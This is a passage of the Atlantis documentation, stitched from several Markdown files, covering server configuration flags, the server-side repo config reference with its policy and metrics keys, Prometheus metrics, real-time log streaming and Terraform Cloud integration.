`{owner}.visualstudio.com/{project}/{repo}` or `dev.azure.com/{owner}/{project}/{repo}` - Microsoft is in the process of changing Azure DevOps to the latter form, so it may be safest to always specify both formats in your repo allowlist for each repository until the change is complete. Examples: - Allowlist `myorg/repo1` and `myorg/repo2` on `github.com` - `--repo-allowlist=github.com/myorg/repo1,github.com/myorg/repo2` - Allowlist all repos under `myorg` on `github.com` - `--repo-allowlist='github.com/myorg/*'` - Allowlist all repos under `myorg` on `github.com`, excluding `myorg/untrusted-repo` - `--repo-allowlist='github.com/myorg/*,!github.com/myorg/untrusted-repo'` - Allowlist all repos in my GitHub Enterprise installation - `--repo-allowlist='github.yourcompany.com/*'` - Allowlist all repos under `myorg` project `myproject` on Azure DevOps - `--repo-allowlist='myorg.visualstudio.com/myproject/*,dev.azure.com/myorg/myproject/*'` - Allowlist all repositories - `--repo-allowlist='*'` ### `--repo-config` ```bash atlantis server --repo-config="path/to/repos.yaml" # or ATLANTIS_REPO_CONFIG="path/to/repos.yaml" ``` Path to a YAML server-side repo config file. See [Server Side Repo Config](server-side-repo-config.md). ### `--repo-config-json` ```bash atlantis server --repo-config-json='{"repos":[{"id":"/.*/", "apply_requirements":["mergeable"]}]}' # or ATLANTIS_REPO_CONFIG_JSON='{"repos":[{"id":"/.*/", "apply_requirements":["mergeable"]}]}' ``` Specify server-side repo config as a JSON string. Useful if you don't want to write a config file to disk. See [Server Side Repo Config](server-side-repo-config.md) for more details. ::: tip If specifying a [Workflow](custom-workflows.md#reference), [step](custom-workflows.md#step)'s can be specified as follows: ```json { "repos": [], "workflows": { "custom": { "plan": { "steps": [ "init", { "plan": { "extra_args": ["extra", "args"] } }, { "run": "my custom command" } ] } } } } ``` ::: ### `--restrict-file-list` ```bash atlantis server --restrict-file-list # or (recommended) ATLANTIS_RESTRICT_FILE_LIST=true ``` `--restrict-file-list` will block plan requests from projects outside the files modified in the pull request. This will not block plan requests with regex if using the `--enable-regexp-cmd` flag, in these cases commands like `atlantis plan -p .*` will still work if used. normal commands will still be blocked if necessary. Defaults to `false`. ### `--silence-allowlist-errors` ```bash atlantis server --silence-allowlist-errors # or ATLANTIS_SILENCE_ALLOWLIST_ERRORS=true ``` Some users use the `--repo-allowlist` flag to control which repos Atlantis responds to. Normally, if Atlantis receives a pull request webhook from a repo not listed in the allowlist, it will comment back with an error. This flag disables that commenting. Some users find this useful because they prefer to add the Atlantis webhook at an organization level rather than on each repo. ### `--silence-fork-pr-errors` ```bash atlantis server --silence-fork-pr-errors # or ATLANTIS_SILENCE_FORK_PR_ERRORS=true ``` Normally, if Atlantis receives a pull request webhook from a fork and --allow-fork-prs is not set, it will comment back with an error. This flag disables that commenting. ### `--silence-no-projects` ```bash atlantis server --silence-no-projects # or ATLANTIS_SILENCE_NO_PROJECTS=true ``` `--silence-no-projects` will tell Atlantis to ignore PRs if none of the modified files are part of a project defined in the `atlantis.yaml` file. This flag ensures an Atlantis server only responds to its explicitly declared projects. This has no effect if projects are undefined in the repo level `atlantis.yaml`. This also silences targeted commands (e.g. `atlantis plan -d mydir` or `atlantis apply -p myproj`) so if the project is not in the repo config `atlantis.yaml`, these commands will not run or report back in a comment. This is useful when running multiple Atlantis servers against a single repository so you can delegate work to each Atlantis server. Also useful when used with pre_workflow_hooks to dynamically generate an `atlantis.yaml` file. ### `--silence-vcs-status-no-plans` ```bash atlantis server --silence-vcs-status-no-plans # or ATLANTIS_SILENCE_VCS_STATUS_NO_PLANS=true ``` `--silence-vcs-status-no-plans` will tell Atlantis to ignore setting VCS status on plans if none of the modified files are part of a project defined in the `atlantis.yaml` file. ### `--silence-vcs-status-no-projects` ```bash atlantis server --silence-vcs-status-no-projects # or ATLANTIS_SILENCE_VCS_STATUS_NO_PROJECTS=true ``` `--silence-vcs-status-no-projects` will tell Atlantis to ignore setting VCS status on any command if none of the modified files are part of a project defined in the `atlantis.yaml` file. ### `--skip-clone-no-changes` ```bash atlantis server --skip-clone-no-changes # or ATLANTIS_SKIP_CLONE_NO_CHANGES=true ``` `--skip-clone-no-changes` will skip cloning the repo during autoplan if there are no changes to Terraform projects. This will only apply for GitHub and GitLab and only for repos that have `atlantis.yaml` file. Defaults to `false`. ### `--slack-token` ```bash atlantis server --slack-token=token # or (recommended) ATLANTIS_SLACK_TOKEN='token' ``` API token for Slack notifications. See [Using Slack hooks](sending-notifications-via-webhooks.md#using-slack-hooks). ### `--ssl-cert-file` ```bash atlantis server --ssl-cert-file="/etc/ssl/certs/my-cert.crt" # or ATLANTIS_SSL_CERT_FILE="/etc/ssl/certs/my-cert.crt" ``` File containing x509 Certificate used for serving HTTPS. If the cert is signed by a CA, the file should be the concatenation of the server's certificate, any intermediates, and the CA's certificate. ### `--ssl-key-file` ```bash atlantis server --ssl-key-file="/etc/ssl/private/my-cert.key" # or ATLANTIS_SSL_KEY_FILE="/etc/ssl/private/my-cert.key" ``` File containing x509 private key matching `--ssl-cert-file`. ### `--stats-namespace` ```bash atlantis server --stats-namespace="myatlantis" # or ATLANTIS_STATS_NAMESPACE="myatlantis" ``` Namespace for emitting stats/metrics. See [stats](stats.md) section. ### `--tf-distribution` Deprecated for `--default-tf-distribution`. ### `--tf-download` ```bash atlantis server --tf-download=false # or ATLANTIS_TF_DOWNLOAD=false ``` Defaults to `true`. Allow Atlantis to list and download additional versions of Terraform. Setting this to `false` can be useful in an air-gapped environment where a download mirror is not available. ### `--tf-download-url` ```bash atlantis server --tf-download-url="https://releases.company.com" # or ATLANTIS_TF_DOWNLOAD_URL="https://releases.company.com" ``` An alternative URL to download Terraform versions if they are missing. Useful in an airgapped environment where releases.hashicorp.com is not available. Directory structure of the custom endpoint should match that of releases.hashicorp.com. This has no impact if `--tf-download` is set to `false`. This setting is not yet supported when `--tf-distribution` is set to `opentofu`. ### `--tfe-hostname` ```bash atlantis server --tfe-hostname="my-terraform-enterprise.company.com" # or ATLANTIS_TFE_HOSTNAME="my-terraform-enterprise.company.com" ``` Hostname of your Terraform Enterprise installation to be used in conjunction with `--tfe-token`. See [Terraform Cloud](terraform-cloud.md) for more details. If using Terraform Cloud (i.e. you don't have your own Terraform Enterprise installation) no need to set since it defaults to `app.terraform.io`. ### `--tfe-local-execution-mode` ```bash atlantis server --tfe-local-execution-mode # or ATLANTIS_TFE_LOCAL_EXECUTION_MODE=true ``` Enable if you're using local execution mode (instead of TFE/C's remote execution mode). See [Terraform Cloud](terraform-cloud.md) for more details. ### `--tfe-token` ```bash atlantis server --tfe-token="xxx.atlasv1.yyy" # or (recommended) ATLANTIS_TFE_TOKEN='xxx.atlasv1.yyy' ``` A token for Terraform Cloud/Terraform Enterprise integration. See [Terraform Cloud](terraform-cloud.md) for more details. ### `--use-tf-plugin-cache` ```bash atlantis server --use-tf-plugin-cache=false ``` Set to false if you want to disable terraform plugin cache. This flag is useful when having multiple projects that need to run a plan and apply in the same PR to avoid the race condition of `plugin_cache_dir` concurrently, this is a terraform known issue, more info: - [plugin_cache_dir concurrently discussion](https://github.com/hashicorp/terraform/issues/31964) - [PR to improve the situation](https://github.com/hashicorp/terraform/pull/33479) The effect of the race condition is more evident when using parallel configuration to run plan and apply. Disabling the use of plugin cache will impact the performance when starting a new plan or apply, but in large Atlantis deployments with multiple projects and shared modules the use of `--parallel_plan` and `--parallel_apply` is mandatory for an efficient management of the PRs. ### `--var-file-allowlist` ```bash atlantis server --var-file-allowlist='/path/to/tfvars/dir' # or ATLANTIS_VAR_FILE_ALLOWLIST='/path/to/tfvars/dir' ``` Comma-separated list of additional directory paths where [variable definition files](https://developer.hashicorp.com/terraform/language/values/variables#variable-definitions-tfvars-files) can be read from. The paths in this argument should be absolute paths. Relative paths and globbing are currently not supported. If this argument is not provided, it defaults to Atlantis' data directory, determined by the `--data-dir` argument. ### `--vcs-status-name` ```bash atlantis server --vcs-status-name="atlantis-dev" # or ATLANTIS_VCS_STATUS_NAME="atlantis-dev" ``` Name used to identify Atlantis when updating a pull request status. Defaults to `atlantis`. This is useful when running multiple Atlantis servers against a single repository so you can give each Atlantis server its own unique name to prevent the statuses clashing. ### `--web-basic-auth` ```bash atlantis server --web-basic-auth # or ATLANTIS_WEB_BASIC_AUTH=true ``` Enable Basic Authentication on the Atlantis web service. ### `--web-password` ```bash atlantis server --web-password="atlantis" # or ATLANTIS_WEB_PASSWORD="atlantis" ``` Password used for Basic Authentication on the Atlantis web service. Defaults to `atlantis`. ### `--web-username` ```bash atlantis server --web-username="atlantis" # or ATLANTIS_WEB_USERNAME="atlantis" ``` Username used for Basic Authentication on the Atlantis web service. Defaults to `atlantis`. ### `--webhook-http-headers` ```bash atlantis server --webhook-http-headers='{"Authorization":"Bearer some-token","X-Custom-Header":["value1","value2"]}' # or ATLANTIS_WEBHOOK_HTTP_HEADERS='{"Authorization":"Bearer some-token","X-Custom-Header":["value1","value2"]}' ``` Additional headers added to each HTTP POST payload when using [http webhooks](sending-notifications-via-webhooks.md#using-http-webhooks) provided as a JSON string. The map key is the header name and the value is the header value (string) or values (array of string). ### `--websocket-check-origin` ```bash atlantis server --websocket-check-origin # or ATLANTIS_WEBSOCKET_CHECK_ORIGIN=true ``` Only allow websockets connection when they originate from the running Atlantis web server ### `--write-git-creds` ```bash atlantis server --write-git-creds # or ATLANTIS_WRITE_GIT_CREDS=true ``` Write out a .git-credentials file with the provider user and token to allow cloning private modules over HTTPS or SSH. See [Git Credential Store documentation](https://git-scm.com/docs/git-credential-store) for more information. Follow the `git::ssh` ================================================ FILE: runatlantis.io/docs/server-side-repo-config.md ================================================ # Server Side Repo Config A Server-Side Config file is used for more groups of server config that can't reasonably be expressed through flags. One such usecase is to control per-repo behaviour and what users can do in repo-level `atlantis.yaml` files. ## Do I Need A Server-Side Config File? You do not need a server-side repo config file unless you want to customize some aspect of Atlantis on a per-repo basis. Read through the [use-cases](#use-cases) to determine if you need it. ## Enabling Server Side Config To use server side repo config create a config file, ex. `repos.yaml`, and pass it to the `atlantis server` command via the `--repo-config` flag, ex. `--repo-config=path/to/repos.yaml`. If you don't wish to write a config file to disk, you can use the `--repo-config-json` flag or `ATLANTIS_REPO_CONFIG_JSON` environment variable to specify your config as JSON. See [--repo-config-json](server-configuration.md#repo-config-json) for an example. ## Example Server Side Repo ```yaml # repos lists the config for specific repos. repos: # id can either be an exact repo ID or a regex. # If using a regex, it must start and end with a slash. # Repo ID's are of the form {VCS hostname}/{org}/{repo name}, ex. # github.com/runatlantis/atlantis. - id: /.*/ # branch is a regex matching pull requests by base branch # (the branch the pull request is getting merged into). # By default, all branches are matched branch: /.*/ # repo_config_file specifies which repo config file to use for this repo. # By default, atlantis.yaml is used. repo_config_file: path/to/atlantis.yaml # plan_requirements sets the Plan Requirements for all repos that match. plan_requirements: [approved, mergeable, undiverged] # apply_requirements sets the Apply Requirements for all repos that match. apply_requirements: [approved, mergeable, undiverged] # import_requirements sets the Import Requirements for all repos that match. import_requirements: [approved, mergeable, undiverged] # workflow sets the workflow for all repos that match. # This workflow must be defined in the workflows section. workflow: custom # allowed_overrides specifies which keys can be overridden by this repo in # its atlantis.yaml file. allowed_overrides: [apply_requirements, workflow, delete_source_branch_on_merge, repo_locking, repo_locks, custom_policy_check] # allowed_workflows specifies which workflows the repos that match # are allowed to select. allowed_workflows: [custom] # allow_custom_workflows defines whether this repo can define its own # workflows. If false (default), the repo can only use server-side defined # workflows. allow_custom_workflows: true # delete_source_branch_on_merge defines whether the source branch would be deleted on merge # If false (default), the source branch won't be deleted on merge delete_source_branch_on_merge: true # repo_locking defines whether lock repository when planning. # If true (default), atlantis try to get a lock. # deprecated: use repo_locks instead repo_locking: true # repo_locks defines whether the repository would be locked on apply instead of plan, or disabled # Valid values are on_plan (default), on_apply or disabled. repo_locks: mode: on_plan # custom_policy_check defines whether policy checking tools besides Conftest are enabled in checks # If false (default), only Conftest JSON output is allowed custom_policy_check: false # pre_workflow_hooks defines arbitrary list of scripts to execute before workflow execution. pre_workflow_hooks: - run: my-pre-workflow-hook-command arg1 # post_workflow_hooks defines arbitrary list of scripts to execute after workflow execution. post_workflow_hooks: - run: my-post-workflow-hook-command arg1 # policy_check defines if policy checking should be enabled on this repository. policy_check: false # autodiscover defines how atlantis should automatically discover projects in this repository. # If any part of this setting is set here, it overrides the entire setting in the repo config. autodiscover: mode: auto # Optionally ignore some paths for autodiscovery by a glob path ignore_paths: - foo/* # id can also be an exact match. - id: github.com/myorg/specific-repo # workflows lists server-side custom workflows workflows: custom: plan: steps: - run: my-custom-command arg1 arg2 - init - plan: extra_args: ["-lock", "false"] - run: my-custom-command arg1 arg2 apply: steps: - run: echo hi - apply ``` ## Use Cases Here are some of the reasons you might want to use a repo config. ### Requiring PR Is Approved Before an applicable subcommand If you want to require that all (or specific) repos must have pull requests approved before Atlantis will allow running `apply` or `import`, use the `plan_requirements`, `apply_requirements` or `import_requirements` keys. For all repos: ```yaml # repos.yaml repos: - id: /.*/ plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] ``` For a specific repo: ```yaml # repos.yaml repos: - id: github.com/myorg/myrepo plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] ``` See [Command Requirements](command-requirements.md) for more details. ### Requiring PR Is "Mergeable" Before Apply or Import If you want to require that all (or specific) repos must have pull requests in a mergeable state before Atlantis will allow running `apply` or `import`, use the `plan_requirements`, `apply_requirements` or `import_requirements` keys. For all repos: ```yaml # repos.yaml repos: - id: /.*/ plan_requirements: [mergeable] apply_requirements: [mergeable] import_requirements: [mergeable] ``` For a specific repo: ```yaml # repos.yaml repos: - id: github.com/myorg/myrepo plan_requirements: [mergeable] apply_requirements: [mergeable] import_requirements: [mergeable] ``` See [Command Requirements](command-requirements.md) for more details. ### Repos Can Set Their Own Apply Requirements If you want all (or specific) repos to be able to override the default apply requirements, use the `allowed_overrides` key. To allow all repos to override the default: ```yaml # repos.yaml repos: - id: /.*/ # The default will be approved. plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] # But all repos can set their own using atlantis.yaml allowed_overrides: [plan_requirements, apply_requirements, import_requirements] ``` To allow only a specific repo to override the default: ```yaml # repos.yaml repos: # Set a default for all repos. - id: /.*/ plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] # Allow a specific repo to override. - id: github.com/myorg/myrepo allowed_overrides: [plan_requirements, apply_requirements, import_requirements] ``` Then each allowed repo can have an `atlantis.yaml` file that sets `plan_requirements`, `apply_requirements` or `import_requirements` to an empty array (disabling the requirement). ```yaml # atlantis.yaml in the repo root or set repo_config_file in repos.yaml version: 3 projects: - dir: . plan_requirements: [] apply_requirements: [] import_requirements: [] ``` ### Running Scripts Before Atlantis Workflows If you want to run scripts that would execute before Atlantis can run default or custom workflows, you can create a `pre-workflow-hooks`: ```yaml repos: - id: /.*/ pre_workflow_hooks: - run: my custom command - run: | my bash script inline ``` See [Pre Workflow Hooks](pre-workflow-hooks.md) for more details on writing pre workflow hooks. ### Running Scripts After Atlantis Workflows If you want to run scripts that would execute after Atlantis runs default or custom workflows, you can create a `post-workflow-hooks`: ```yaml repos: - id: /.*/ post_workflow_hooks: - run: my custom command - run: | my bash script inline ``` See [Post Workflow Hooks](post-workflow-hooks.md) for more details on writing post workflow hooks. ### Change The Default Atlantis Workflow If you want to change the default commands that Atlantis runs during `plan` and `apply` phases, you can create a new `workflow`. If you want to use that workflow by default for all repos, use the workflow key `default`: ```yaml # repos.yaml # NOTE: the repos key is not required. workflows: # It's important that this is "default". default: plan: steps: - init - run: my custom plan command apply: steps: - run: my custom apply command ``` See [Custom Workflows](custom-workflows.md) for more details on writing custom workflows. ### Allow Repos To Choose A Server-Side Workflow If you want repos to be able to choose their own workflows that are defined in the server-side repo config, you need to create the workflows server-side and then allow each repo to override the `workflow` key: ```yaml # repos.yaml # Allow repos to override the workflow key. repos: - id: /.*/ allowed_overrides: [workflow] # Define your custom workflows. workflows: custom1: plan: steps: - init - run: my custom plan command apply: steps: - run: my custom apply command custom2: plan: steps: - run: another custom command apply: steps: - run: another custom command ``` Or, if you want to restrict what workflows each repo has access to, use the `allowed_workflows` key: ```yaml # repos.yaml # Restrict which workflows repos can select. repos: - id: /.*/ allowed_overrides: [workflow] - id: /my_repo/ allowed_overrides: [workflow] allowed_workflows: [custom1] # Define your custom workflows. workflows: custom1: plan: steps: - init - run: my custom plan command apply: steps: - run: my custom apply command custom2: plan: steps: - run: another custom command apply: steps: - run: another custom command ``` Then each allowed repo can choose one of the workflows in their `atlantis.yaml` files: ```yaml # atlantis.yaml version: 3 projects: - dir: . workflow: custom1 # could also be custom2 OR default ``` :::tip NOTE There is always a workflow named `default` that corresponds to Atlantis' default workflow unless you've created your own server-side workflow with that key (overriding it). ::: See [Custom Workflows](custom-workflows.md) for more details on writing custom workflows. ### Allow Using Custom Policy Tools Conftest is the standard policy check application integrated with Atlantis, but custom tools can still be run in custom workflows when the `custom_policy_check` option is set. See the [Custom Policy Checks page](custom-policy-checks.md) for detailed examples. ### Allow Repos To Define Their Own Workflows If you want repos to be able to define their own workflows you need to allow them to override the `workflow` key and set `allow_custom_workflows` to `true`. ::: danger If repos can define their own workflows, then anyone that can create a pull request to that repo can essentially run arbitrary code on your Atlantis server. ::: ```yaml # repos.yaml repos: - id: /.*/ # With just allowed_overrides: [workflow], repos can only # choose workflows defined server-side. allowed_overrides: [workflow] # By setting allow_custom_workflows to true, we allow repos to also # define their own workflows. allow_custom_workflows: true ``` Then each allowed repo can define and use a custom workflow in their `atlantis.yaml` files: ```yaml # atlantis.yaml version: 3 projects: - dir: . workflow: custom1 workflows: custom1: plan: steps: - init - run: my custom plan command apply: steps: - run: my custom apply command ``` See [Custom Workflows](custom-workflows.md) for more details on writing custom workflows. ### Multiple Atlantis Servers Handle The Same Repository Running multiple Atlantis servers to handle the same repository can be done to separate permissions for each Atlantis server. In this case, a different [atlantis.yaml](repo-level-atlantis-yaml.md) repository config file can be used by using different `repos.yaml` files. For example, consider a situation where a separate `production-server` atlantis uses repo config `atlantis-production.yaml` and `staging-server` atlantis uses repo config `atlantis-staging.yaml`. Firstly, deploy 2 Atlantis servers, `production-server` and `staging-server`. Each server has different permissions and a different `repos.yaml` file. The `repos.yaml` contains `repo_config_file` key to specify the repository atlantis config file path. ```yaml # repos.yaml repos: - id: /.*/ # for production-server repo_config_file: atlantis-production.yaml # for staging-server # repo_config_file: atlantis-staging.yaml ``` Then, create `atlantis-production.yaml` and `atlantis-staging.yaml` files in the repository. See the configuration examples in [atlantis.yaml](repo-level-atlantis-yaml.md). ```yaml # atlantis-production.yaml version: 3 projects: - name: project branch: /production/ dir: infrastructure/production --- # atlantis-staging.yaml version: 3 projects: - name: project branch: /staging/ dir: infrastructure/staging ``` Now, 2 webhook URLs can be setup for the repository, which send events to `production-server` and `staging-server` respectively. Each servers handle different repository config files. :::tip Notes * If `no projects` comments are annoying, set [--silence-no-projects](server-configuration.md#silence-no-projects). * The command trigger executable name can be reconfigured from `atlantis` to something else by setting [Executable Name](server-configuration.md#executable-name). * When using different atlantis server vcs users such as `@atlantis-staging`, the comment `@atlantis-staging plan` can be used instead `atlantis plan` to call `staging-server` only. ::: ## Reference ### Top-Level Keys | Key | Type | Default | Required | Description | |------------|-------------------------------------------------------|-----------|----------|---------------------------------------------------------------------------------------| | repos | array[[Repo](#repo)] | see below | no | List of repos to apply settings to. | | workflows | map[string: [Workflow](custom-workflows.md#workflow)] | see below | no | Map from workflow name to workflow. Workflows override the default Atlantis commands. | | policies | Policies. | none | no | List of policy sets to run and associated metadata | | metrics | Metrics. | none | no | Map of metric configuration | | team_authz | [TeamAuthz](#teamauthz) | none | no | Configuration of team permission checking | ::: tip A Note On Defaults #### `repos` `repos` always contains a first element with the Atlantis default config: ```yaml repos: - id: /.*/ branch: /.*/ plan_requirements: [] apply_requirements: [] import_requirements: [] workflow: default allowed_overrides: [] allow_custom_workflows: false ``` #### `workflows` `workflows` always contains the Atlantis default workflow under the key `default`: ```yaml workflows: default: plan: steps: [init, plan] apply: steps: [apply] ``` This gets merged with whatever config you write. If you set a workflow with the key `default`, it will override this. ::: ### Repo | Key | Type | Default | Required | Description | |-------------------------------|-------------------------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | id | string | none | yes | Value can be a regular expression when specified as /<regex>/ or an exact string match. Repo IDs are of the form `{vcs hostname}/{org}/{name}`, ex. `github.com/owner/repo`. Hostname is specified without scheme or port. For Bitbucket Server, {org} is the **name** of the project, not the key. | | branch | string | none | no | An regex matching pull requests by base branch (the branch the pull request is getting merged into). By default, all branches are matched | | repo_config_file | string | none | no | Repo config file path in this repo. By default, use `atlantis.yaml` which is located on repository root. When multiple atlantis servers work with the same repo, please set different file names. | | workflow | string | none | no | A custom workflow. | | plan_requirements | []string | none | no | Requirements that must be satisfied before `atlantis plan` can be run. Currently the only supported requirements are `approved`, `mergeable`, and `undiverged`. See [Command Requirements](command-requirements.md) for more details. | | apply_requirements | []string | none | no | Requirements that must be satisfied before `atlantis apply` can be run. Currently the only supported requirements are `approved`, `mergeable`, and `undiverged`. See [Command Requirements](command-requirements.md) for more details. | | import_requirements | []string | none | no | Requirements that must be satisfied before `atlantis import` can be run. Currently the only supported requirements are `approved`, `mergeable`, and `undiverged`. See [Command Requirements](command-requirements.md) for more details. | | allowed_overrides | []string | none | no | A list of restricted keys that `atlantis.yaml` files can override. The only supported keys are `apply_requirements`, `workflow`, `delete_source_branch_on_merge`,`repo_locking`, `repo_locks`, and `custom_policy_check` | | allowed_workflows | []string | none | no | A list of workflows that `atlantis.yaml` files can select from. | | allow_custom_workflows | bool | false | no | Whether or not to allow [Custom Workflows](custom-workflows.md). | | delete_source_branch_on_merge | bool | false | no | Whether or not to delete the source branch on merge. | | repo_locking | bool | false | no | (deprecated) Whether or not to get a lock. | | repo_locks | [RepoLocks](#repolocks) | `mode: on_plan` | no | Whether or not repository locks are enabled for this project on plan or apply. See [RepoLocks](#repolocks) for more details. | | policy_check | bool | false | no | Whether or not to run policy checks on this repository. | | custom_policy_check | bool | false | no | Whether or not to enable custom policy check tools outside of Conftest on this repository. | | autodiscover | AutoDiscover | none | no | Auto discover settings for this repo | | silence_pr_comments | []string | none | no | Silence PR comments from defined stages while preserving PR status checks. Useful in large environments with many Atlantis instances and/or projects, when the comments are too big and too many, therefore it is preferable to rely solely on PR status checks. Supported values are: `plan`, `apply`. | :::tip Notes * If multiple repos match, the last match will apply. * If a key isn't defined, it won't override a key that matched from above. For example, given a repo ID `github.com/owner/repo` and a config: ```yaml repos: - id: /.*/ allow_custom_workflows: true apply_requirements: [approved] - id: github.com/owner/repo apply_requirements: [] ``` The final config will look like: ```yaml apply_requirements: [] workflow: default allowed_overrides: [] allow_custom_workflows: true ``` Where * `apply_requirements` is set from the `id: github.com/owner/repo` config because it overrides the previous matching config from `id: /.*/`. * `workflow` is set from the default config that always exists. * `allowed_overrides` is set from the default config that always exists. * `allow_custom_workflows` is set from the `id: /.*/` config and isn't unset by the `id: github.com/owner/repo` config because it didn't define that key. ::: ### RepoLocks ```yaml mode: on_apply ``` | Key | Type | Default | Required | Description | |------|--------|-----------|----------|---------------------------------------------------------------------------------------------------------------------------------------| | mode | `Mode` | `on_plan` | no | Whether or not repository locks are enabled for this project on plan or apply. Valid values are `disabled`, `on_plan` and `on_apply`. | ### Policies | Key | Type | Default | Required | Description | |------------------------|-----------------|---------|-----------|----------------------------------------------------------| | conftest_version | string | none | no | conftest version to run all policy sets | | owners | Owners(#Owners) | none | yes | owners that can approve failing policies | | approve_count | int | 1 | no | number of approvals required to bypass failing policies. | | policy_sets | []PolicySet | none | yes | set of policies to run on a plan output | ### Owners | Key | Type | Default | Required | Description | |-------------|-------------------|---------|------------|---------------------------------------------------------| | users | []string | none | no | list of github users that can approve failing policies | | teams | []string | none | no | list of github teams that can approve failing policies | ### PolicySet | Key | Type | Default | Required | Description | | ------ | ------ | ------- | -------- | --------------------------------------------------------------------------------------------------------------| | name | string | none | yes | unique name for the policy set | | path | string | none | yes | path to the rego policies directory | | source | string | none | yes | only `local` is supported at this time | | prevent_self_approve | bool | false | no | Whether or not the author of PR can approve policies. Defaults to `false` (the author must also be in owners) | ### Metrics | Key | Type | Default | Required | Description | |------------------------|---------------------------|---------|-----------|------------------------------------------| | statsd | [Statsd](#statsd) | none | no | Statsd metrics provider | | prometheus | [Prometheus](#prometheus) | none | no | Prometheus metrics provider | ### Statsd | Key | Type | Default | Required | Description | | ------ | ------ | ------- | -------- | -------------------------------------- | | host | string | none | yes | statsd host ip address | | port | string | none | yes | statsd port | ### Prometheus | Key | Type | Default | Required | Description | | -------- | ------ | ------- | -------- | -------------------------------------- | | endpoint | string | none | yes | path to metrics endpoint | ### TeamAuthz | Key | Type | Default | Required | Description | |---------|----------|---------|----------|---------------------------------------------| | command | string | none | yes | full path to external authorization command | | args | []string | none | no | optional arguments to pass to `command` | ================================================ FILE: runatlantis.io/docs/stats.md ================================================ # Metrics/Stats Atlantis exposes a set of metrics for each of its operations including errors, successes, and latencies. ::: warning NOTE Currently Statsd and Prometheus is supported. See configuration below for details. ::: ## Configuration Metrics are configured through the [Server Side Config](server-side-repo-config.md#metrics). ## Available Metrics Assuming metrics are exposed from the endpoint `/metrics` from the [metrics](server-side-repo-config.md#metrics) server side config e.g. ```yaml metrics: prometheus: endpoint: "/metrics" ``` To see all the metrics exposed from atlantis service, make a GET request to the `/metrics` endpoint. ```bash curl localhost:4141/metrics # HELP atlantis_cmd_autoplan_builder_execution_error atlantis_cmd_autoplan_builder_execution_error counter # TYPE atlantis_cmd_autoplan_builder_execution_error counter atlantis_cmd_autoplan_builder_execution_error 0 # HELP atlantis_cmd_autoplan_builder_execution_success atlantis_cmd_autoplan_builder_execution_success counter # TYPE atlantis_cmd_autoplan_builder_execution_success counter atlantis_cmd_autoplan_builder_execution_success 10 # HELP atlantis_cmd_autoplan_builder_execution_time atlantis_cmd_autoplan_builder_execution_time summary # TYPE atlantis_cmd_autoplan_builder_execution_time summary atlantis_cmd_autoplan_builder_execution_time{quantile="0.5"} NaN atlantis_cmd_autoplan_builder_execution_time{quantile="0.75"} NaN atlantis_cmd_autoplan_builder_execution_time{quantile="0.95"} NaN atlantis_cmd_autoplan_builder_execution_time{quantile="0.99"} NaN atlantis_cmd_autoplan_builder_execution_time{quantile="0.999"} NaN atlantis_cmd_autoplan_builder_execution_time_sum 11.42403017 atlantis_cmd_autoplan_builder_execution_time_count 10 ..... ..... ..... ``` ::: tip NOTE The output shown above is trimmed, since with every new version release this metric set will need to be updated accordingly as there may be a case if some metrics are added/modified/deprecated, so the output shown above just gives a brief idea of how these metrics look like and rest can be explored. ::: Important metrics to monitor are | Metric Name | Metric Type | Purpose | |------------------------------------------------|----------------------------------------------------------------------|-------------------------------------------------------------------------------------| | `atlantis_cmd_autoplan_execution_error` | [counter](https://prometheus.io/docs/concepts/metric_types/#counter) | number of times when [autoplan](autoplanning.md#autoplanning) has thrown error. | | `atlantis_cmd_comment_plan_execution_error` | [counter](https://prometheus.io/docs/concepts/metric_types/#counter) | number of times when on commenting `atlantis plan` has thrown error. | | `atlantis_cmd_autoplan_execution_success` | [counter](https://prometheus.io/docs/concepts/metric_types/#counter) | number of times when [autoplan](autoplanning.md#autoplanning) has run successfully. | | `atlantis_cmd_comment_apply_execution_error` | [counter](https://prometheus.io/docs/concepts/metric_types/#counter) | number of times when on commenting `atlantis apply` has thrown error. | | `atlantis_cmd_comment_apply_execution_success` | [counter](https://prometheus.io/docs/concepts/metric_types/#counter) | number of times when on commenting `atlantis apply` has run successfully. | ::: tip NOTE There are plenty of additional metrics exposed by atlantis that are not described above. ::: ================================================ FILE: runatlantis.io/docs/streaming-logs.md ================================================ # Real-time logs Atlantis supports streaming terraform logs in real time by default. Currently, only two commands are supported * atlantis plan * atlantis apply ::: warning Not all custom workflow outputs and other terraform commands are supported. Support for terragrunt has been added, see examples in [Custom Workflows](./custom-workflows.md#terragrunt). ::: In order to view real-time terraform logs, a user can navigate through the *details* section of a given project's plan or apply status check. ![Plan Command](./images/plan.png) This will link to the Atlantis UI which provides real-time logging in addition to native terraform syntax highlighting. ![Plan Output](./images/plan_output.png) ::: warning As of now the logs are currently stored in memory and cleared when a given pull request is closed, so this link shouldn't be persisted anywhere. ::: ================================================ FILE: runatlantis.io/docs/terraform-cloud.md ================================================ # Terraform Cloud/Enterprise ::: tip NOTE Terraform Enterprise was [recently renamed](https://www.hashicorp.com/blog/introducing-terraform-cloud-remote-state-management) Terraform Cloud and Private Terraform Enterprise was renamed Terraform Enterprise. ::: Atlantis integrates seamlessly with Terraform Cloud and Terraform Enterprise, whether you're using: * [Free Remote State Management](https://app.terraform.io) * Terraform Cloud Paid Tiers * A Private Installation of Terraform Enterprise Read the docs below :point_down: depending on your use-case. ## Using Atlantis With Free Remote State Storage To use Atlantis with Free Remote State Storage, you need to: 1. Migrate your state to Terraform Cloud. See [Migrating State from Local Terraform](https://developer.hashicorp.com/terraform/cloud-docs/migrate) 1. Update any projects that are referencing the state you migrated to use the new location 1. [Generate a Terraform Cloud/Enterprise Token](#generating-a-terraform-cloud-enterprise-token) 1. [Pass the token to Atlantis](#passing-the-token-to-atlantis) That's it! Atlantis will run as normal and your state will be stored in Terraform Cloud. ## Using Atlantis With Terraform Cloud Remote Operations or Terraform Enterprise Atlantis integrates with the full version of Terraform Cloud and Terraform Enterprise via the [remote backend](https://developer.hashicorp.com/terraform/language/settings/backends/remote). Atlantis will run `terraform` commands as usual, however those commands will actually be executed *remotely* in Terraform Cloud or Terraform Enterprise. ### Why? Using Atlantis with Terraform Cloud or Terraform Enterprise gives you access to features like: * Real-time streaming output * Ability to cancel in-progress commands * Secret variables * [Sentinel](https://www.hashicorp.com/sentinel) **Without** 